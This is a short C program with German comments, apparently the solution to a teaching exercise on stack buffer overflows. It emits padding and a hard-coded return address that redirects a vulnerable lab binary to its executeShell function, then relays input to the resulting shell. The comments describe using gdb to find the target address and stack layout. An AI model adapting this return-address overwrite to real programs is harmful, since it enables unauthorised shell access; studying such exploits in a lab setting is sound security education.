#include #include #include // Hilfsfunktion, um exakt 32 Bit (also 4 Byte) zu schreiben. static void printWord(uint32_t x) { fwrite(&x, sizeof(x), 1, stdout); } // Um die jeweiligen Sachen zu ermitteln, finde ich gdb am einfachsten: // `p executeShell` um den Wert fuer die Ruecksprungadresse zu bekommen // `info frame` um direkt den Ort der Ruecksprungadresse zu bestimmen, damit man // daraus ableiten kann, wie das Stack-Layout grob aussieht int main() { fputs("xxxxxxxxx", stdout); // "password" printWord(0x00000000); // "n" printWord(0x00000000); // (padding) printWord(0x00000000); // (padding) printWord(0x00000000); // %ebp printWord(0x08049dce); // %eip <- !!! putchar('\n'); // Damit scanf(3) terminiert fflush(stdout); int c; while ((c = getchar()) != EOF) { putchar(c); fflush(stdout); } }